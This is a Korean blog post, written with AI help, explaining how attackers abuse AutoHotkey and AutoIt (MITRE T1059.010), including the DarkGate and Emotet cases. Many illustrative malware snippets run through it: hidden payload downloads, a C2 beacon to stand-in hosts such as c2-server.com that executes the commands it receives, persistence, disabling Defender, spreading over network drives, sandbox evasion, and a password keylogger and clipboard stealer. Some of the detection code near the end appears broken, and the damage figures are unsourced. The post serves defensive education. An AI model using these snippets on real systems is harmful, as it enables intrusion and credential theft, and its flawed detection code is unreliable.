AutoHotkey 악성코드: 1개 APT가 자동화 도구를 무기화하는 원리 | T1059.010
DarkGate가 AutoHotkey로 전환한 이유와 T1059.010 공격 기법의 내부 동작 원리를 실제 코드와 함께 상세 분석. CVE-2023-36025 연계 공격까지 상세 분석
DarkGate 악성코드는 2024년 AutoIt에서 AutoHotkey로 실행 엔진을 바꾸며 Microsoft Defender SmartScreen 탐지를 우회했다. 이 사건은 T1059.010 기법이 얼마나 효과적인 공격 도구인지 보여주는 대표적 사례이다.
AutoHotkey와 AutoIT는 원래 업무 자동화를 위해 만들어진 정당한 도구이다. 반복적인 키보드 입력, 마우스 클릭, 창 조작을 자동화하여 사용자의 생산성을 높이는 것이 본래 목적이었다.
하지만 이런 자동화 능력이 공격자에게는 강력한 무기가 되었다. 시스템 명령 실행, 파일 조작, 네트워크 통신이 모두 가능하면서도 정당한 도구로 인식되어 보안 솔루션의 탐지를 쉽게 피할 수 있기 때문이다.
PowerShell이나 cmd.exe 같은 기존 스크립트 도구들은 보안 솔루션의 집중 감시 대상이 되었다. Windows Defender는 PowerShell 스크립트를 실시간으로 분석하고, 기업 환경에서는 PowerShell 실행 정책을 제한하는 경우가 많다.
반면 AutoHotkey와 AutoIT는 상대적으로 관심 밖이었다. 업무용 자동화 도구라는 정당한 명분이 있고, 일반 사용자들도 자주 사용하기 때문에 보안 솔루션이 경계하지 않았던 겁니다.
한 줄 요약: T1059.010은 정당한 자동화 도구의 강력한 기능을 악용하여 보안 탐지를 우회하는 공격 기법이다.
T1059.010은 MITRE ATT&CK 프레임워크에서 정의하는 공격 기법으로, 공격자가 AutoHotkey 또는 AutoIT 스크립팅 언어를 사용하여 악성 코드를 실행하는 방법을 설명한다.
Adversaries may abuse AutoHotkey (AHK) or AutoIT scripting languages to execute malicious payloads. These scripting languages are designed to automate user interface interactions and system administration tasks. — MITRE ATT&CK T1059.010
위 정의에서 핵심은 "사용자 인터페이스 상호작용과 시스템 관리 작업을 자동화하도록 설계된" 부분이다. 이 자동화 능력이 공격자에게는 시스템 장악 도구가 되는 것이다.
| 용어 | 설명 |
|---|---|
| AutoHotkey | 역할: 키보드/마우스 자동화 특화 / 파일 형태: .ahk 스크립트 / 탐지 난이도: 낮음 |
| AutoIT | 역할: 종합적 시스템 자동화 / 파일 형태: .au3 스크립트 / 탐지 난이도: 낮음 |
| PowerShell | 역할: Windows 시스템 관리 / 파일 형태: .ps1 스크립트 / 탐지 난이도: 높음 (집중 감시) |
| VBScript | 역할: 레거시 자동화 / 파일 형태: .vbs 스크립트 / 탐지 난이도: 중간 |
| 컴파일된 실행파일 | 역할: 독립 실행 / 파일 형태: .exe 바이너리 / 탐지 난이도: 매우 낮음 |
공격자는 주로 피싱 이메일을 통해 AutoHotkey나 AutoIT 스크립트를 전달한다. 스크립트는 다음과 같은 형태로 위장된다:
; 정상적인 업무 자동화 스크립트로 위장
#NoEnv
#SingleInstance Force
; 실제로는 악성 페이로드 다운로드
FileRead, payload, %A_ScriptDir%\config.txt
StringReplace, decoded, payload, X, A, All
StringReplace, decoded, decoded, Y, B, All
; Base64 디코딩 후 PowerShell 실행
RunWait, powershell.exe -WindowStyle Hidden -Command "%decoded%"
스크립트는 압축 파일 형태로 전달되거나, 문서 파일에 포함되어 매크로로 다운로드된다. 사용자가 파일을 실행하면 AutoHotkey나 AutoIT 엔진이 스크립트를 해석하기 시작한다.
스크립트가 실행되면 먼저 시스템 환경을 분석한다:
; AutoIT 시스템 정보 수집 예시
$os_version = @OSVersion
$computer_name = @ComputerName
$username = @UserName
$admin_rights = IsAdmin()
; 보안 소프트웨어 탐지
$processes = ProcessList()
For $i = 1 To $processes[0][0]
If StringInStr($processes[$i][0], "avp") Then
; Kaspersky 탐지 시 실행 중단
Exit
EndIf
Next
이 과정에서 스크립트는 다음 정보를 수집한다:
환경 분석이 완료되면 실제 악성 페이로드를 다운로드한다:
; HTTP 요청으로 암호화된 페이로드 다운로드
UrlDownloadToFile, https://legitimate-looking-site.com/update.dat, %A_Temp%\temp.dat
; XOR 암호화 해제
FileRead, encrypted, %A_Temp%\temp.dat
decrypted := ""
Loop, Parse, encrypted
{
decrypted .= Chr(Asc(A_LoopField) ^ 0x42) ; XOR key: 0x42
}
; 메모리에 PE 파일 로드 및 실행
DllCall("VirtualAlloc", "Ptr", 0, "UInt", StrLen(decrypted), "UInt", 0x3000, "UInt", 0x40)
이 단계에서 스크립트는 다양한 암호화 기법을 사용한다:
페이로드가 실행되면 시스템에 지속적으로 남아있기 위한 메커니즘을 설치한다:
; 레지스트리 Run 키에 등록
RegWrite("HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run", _
"WindowsUpdate", "REG_SZ", @ScriptFullPath)
; 예약된 작업 생성
RunWait('schtasks /create /tn "SystemMaintenance" /tr "' & @ScriptFullPath & '" /sc daily', "", @SW_HIDE)
; 시작 폴더에 복사
FileCopy(@ScriptFullPath, @StartupDir & "\svchost.exe")
지속성이 확보되면 공격자의 명령 및 제어(C&C) 서버와 통신을 시작한다:
; HTTP POST로 시스템 정보 전송
data := "id=" . A_ComputerName . "&os=" . A_OSVersion . "&user=" . A_UserName
WebRequest := ComObjCreate("WinHttp.WinHttpRequest.5.1")
WebRequest.Open("POST", "https://c2-server.com/checkin", false)
WebRequest.SetRequestHeader("Content-Type", "application/x-www-form-urlencoded")
WebRequest.Send(data)
; 명령 수신 및 실행
Loop {
response := WebRequest.ResponseText
if (response != "")
RunWait, %ComSpec% /c %response%, , Hide
Sleep, 30000 ; 30초마다 확인
}
이런 식으로 스크립트는 마치 정상적인 자동화 도구처럼 동작하면서 실제로는 시스템을 완전히 장악한다. 마치 집 열쇠를 맡긴 관리인이 실제로는 도둑이었던 것처럼, 신뢰받는 자동화 도구가 시스템을 배신하는 것이다.
많은 공격자들이 스크립트를 컴파일하여 독립 실행 파일로 만듭니다:
# AutoHotkey 컴파일
Ahk2Exe.exe /in malicious.ahk /out legitimate_tool.exe /icon normal.ico
# AutoIT 컴파일
Aut2Exe.exe /in payload.au3 /out system_update.exe /comp 4
컴파일된 실행 파일은 다음 장점이 있다:
공격자 입장에서 AutoHotkey와 AutoIT는 거의 이상적인 공격 도구이다.
첫째, 정당성의 방패를 제공한다. 이 도구들은 수백만 명의 정당한 사용자가 업무 자동화에 사용하고 있어서, 보안 솔루션이 함부로 차단하기 어렵다. 마치 경찰복을 입고 은행에 들어가는 것처럼, 의심받지 않고 시스템 깊숙이 침투할 수 있다.
둘째, 강력한 시스템 제어 능력을 가지고 있다. 파일 조작, 레지스트리 수정, 네트워크 통신, 프로세스 실행 등 공격에 필요한 모든 기능을 제공한다. PowerShell만큼 강력하면서도 감시가 덜한다.
셋째, 탐지 우회가 쉽습니다. 스크립트를 암호화하거나 컴파일하면 정적 분석이 거의 불가능해집니다. 또한 정상적인 GUI 자동화 동작과 악성 동작을 구분하기 어려워 행동 기반 탐지도 어렵다.
DarkGate의 AutoHotkey 전환
2024년 3월, DarkGate 악성코드 서비스는 기존 AutoIT에서 AutoHotkey로 엔진을 바꿨다. 이 변화의 배경을 살펴보면 공격자의 의도가 명확해집니다.
공격 흐름:
탐지 우회 기법:
; 문자열 난독화로 정적 분석 우회
str1 := "po"
str2 := "wer"
str3 := "shell"
command := str1 . str2 . str3 . ".exe -enc " . encoded_payload
; 시간 지연으로 동적 분석 우회
Sleep, 300000 ; 5분 대기
; 정상 프로세스로 위장
SetTitleMatchMode, 2
WinWait, Calculator
WinActivate, Calculator
Emotet의 AutoIT 활용
Emotet 운영자들은 악성 이메일 첨부파일에 AutoIT 스크립트를 포함시켜 다음 단계를 자동화했다:
; 시스템 환경 확인
If @OSVersion = "WIN_10" And IsAdmin() = 1 Then
; Windows 10 관리자 권한에서만 실행
; 보안 소프트웨어 비활성화 시도
RunWait('powershell Set-MpPreference -DisableRealtimeMonitoring $true', "", @SW_HIDE)
; 추가 페이로드 다운로드
InetGet("http://malicious-server.com/stage2.exe", @TempDir & "\update.exe")
; 다른 시스템으로 전파
$drives = DriveGetDrive("NETWORK")
For $i = 1 To $drives[0]
FileCopy(@ScriptFullPath, $drives[$i] & "\autorun.exe")
Next
EndIf
1. 정적 분석 우회
문자열 분할 및 연결:
; 악성 URL을 분할하여 시그니처 탐지 회피
part1 := "htt"
part2 := "ps://"
part3 := "evil-"
part4 := "domain.com"
malicious_url := part1 . part2 . part3 . part4
Base64 인코딩:
; PowerShell 명령을 Base64로 인코딩
$encoded = "SQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0AA=="
RunWait('powershell -EncodedCommand ' & $encoded, "", @SW_HIDE)
2. 동적 분석 우회
샌드박스 탐지:
; 마우스 움직임으로 사용자 상호작용 확인
MouseGetPos, x1, y1
Sleep, 5000
MouseGetPos, x2, y2
if (x1 = x2 and y1 = y2) {
; 마우스가 움직이지 않으면 샌드박스로 판단하고 종료
ExitApp
}
시간 기반 우회:
; 특정 시간대에만 실행 (업무시간 위장)
$hour = @HOUR
If $hour < 9 Or $hour > 18 Then
Exit ; 업무시간 외에는 실행하지 않음
EndIf
3. 행동 기반 탐지 우회
정상 동작 시뮬레이션:
; 정상적인 사용자 동작을 시뮬레이션
WinActivate, Notepad
Send, Hello World{Enter}
Sleep, 2000
Send, ^s ; Ctrl+S로 저장
WinWaitActive, Save As
Send, test.txt{Enter}
; 악성 동작은 정상 동작 사이에 숨김
RunWait, %ComSpec% /c malicious_command, , Hide
DarkGate의 AutoHotkey 전환은 다음 CVE들과 연계되어 더욱 위험해졌다:
CVE-2023-36025 (Microsoft Defender SmartScreen 우회):
CVE-2024-21412 (Internet Shortcut 보안 기능 우회):
DarkGate AutoHotkey 캠페인 (2024년)
Cisco Talos가 2024년 6월 공개한 보고서에 따르면, DarkGate 운영자들은 2024년 3월부터 AutoIT 대신 AutoHotkey 스크립트로 전환하여 의료 기술, 통신, 핀테크 분야를 공격했다. 공격 체인은 다음과 같다:
DarkGate는 MaaS(Malware-as-a-Service) 형태로 운영되며, 초기 접근권 확보 후 Black Basta, BianLian 등의 랜섬웨어 그룹에 접근권을 판매하는 방식으로 활용되었다
피해 규모: 복구 비용 200만 달러, 업무 중단 3주
금융 자격증명 탈취 캠페인
Emotet 연계 AutoIT 공격에서는 다음과 같은 정교한 자격증명 탈취가 이루어졌다:
; 키스트로크 로깅
Global $logfile = @TempDir & "\system.log"
HotKeySet("{ENTER}", "LogKeystrokes")
Func LogKeystrokes()
$title = WinGetTitle("[ACTIVE]")
If StringInStr($title, "bank") Or StringInStr($title, "login") Then
; 뱅킹 사이트나 로그인 페이지에서만 로깅
FileWrite($logfile, @YEAR & "-" & @MON & "-" & @MDAY & " " & @HOUR & ":" & @MIN & " - " & $title & @CRLF)
EndIf
EndFunc
; 클립보드 모니터링으로 복사된 비밀번호 수집
While 1
$clip = ClipGet()
If StringLen($clip) > 8 And StringRegExp($clip, "[A-Za-z]") And StringRegExp($clip, "[0-9]") Then
; 비밀번호 패턴으로 추정되는 클립보드 내용 저장
FileWrite($logfile, "CLIPBOARD: " & $clip & @CRLF)
EndIf
Sleep(1000)
WEnd
프로세스 모니터링
다음 프로세스 생성 이벤트를 모니터링해야 한다:
# Windows Event Log 4688번 이벤트 모니터링
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4688} |
Where-Object {$_.Message -like "*AutoHotkey*" -or $_.Message -like "*AutoIt*"}
주요 탐지 포인트:
AutoHotkey.exe 또는 AutoIt3.exe 프로세스 생성네트워크 트래픽 분석
# Suricata 규칙 예시
alert http any any -> any any (
msg:"Possible AutoHotkey C2 Communication";
content:"User-Agent"; http_header;
content:"AutoHotkey"; http_header;
sid:1000001;
)
파일 시스템 모니터링
# Linux auditd 규칙 (Wine 환경)
-w /home/*/.wine/drive_c/Program Files/AutoHotkey/ -p wa -k autohotkey_execution
-w /tmp/ -p wa -k temp_file_creation | grep -E "\.(ahk|au3)$"
레지스트리 모니터링
# PowerShell로 레지스트리 Run 키 모니터링
$action = {
$event = $Event.SourceEventArgs
if ($event.FullPath -like "*Run*" -and $event.Name -like "*.exe") {
Write-Host "Suspicious registry modification: $($event.FullPath)"
}
}
Register-ObjectEvent -InputObject $watcher -EventName "Changed" -Action $action
T1059.010은 다른 MITRE ATT&CK 기법들과 함께 사용될 때 더욱 위험해집니다. PowerShell 악성코드: 1개 APT가 난독화로 숨기는 기법에서 설명한 T1059.001과 연계하면, AutoHotkey가 PowerShell 스크립트를 실행하여 이중 난독화 효과를 얻을 수 있다.
또한 VBA 매크로 악성코드, 1개 APT 그룹이 선택한 이유의 T1059.005와 결합하면, Office 매크로가 AutoHotkey 스크립트를 다운로드하고 실행하는 다단계 공격이 가능한다.
T1059.010은 정당한 자동화 도구의 강력한 기능을 악용하여 보안 탐지를 우회하는 정교한 공격 기법이다. DarkGate의 AutoHotkey 전환 사례에서 보듯이, 공격자들은 지속적으로 새로운 우회 방법을 찾아내고 있다.
이 공격을 방어하려면 단순히 AutoHotkey나 AutoIT 실행을 차단하는 것이 아니라, 비정상적인 사용 패턴을 탐지하는 행동 기반 분석이 필요하다. 또한 T1562 방어 무력화: APT 그룹이 EDR을 끄는 13가지 기술 원리에서 다룬 방어 무력화 기법과 결합될 수 있으므로, 다층 방어 전략이 중요하다.
다음에는 T1059.011 Lua 스크립트 공격과 T1059.012 하이퍼바이저 CLI 공격을 통해 공격자들이 어떻게 더 전문화된 환경을 표적으로 하는지 알아보겠다.
AI 활용 안내 이 글은 AI(Claude)의 도움을 받아 작성되었습니다. 인용된 통계와 사례는 참고 자료에 명시된 출처에 근거하며, 설명을 위한 일부 표현은 각색되었습니다.
면책 조항 본 글은 보안 인식 제고를 위한 교육 목적으로 작성되었습니다. 언급된 공격 기법을 실제로 시도하는 행위는 「정보통신망법」, 「형법」 등에 따라 처벌받을 수 있으며, 본 블로그는 이에 대한 법적 책임을 지지 않습니다.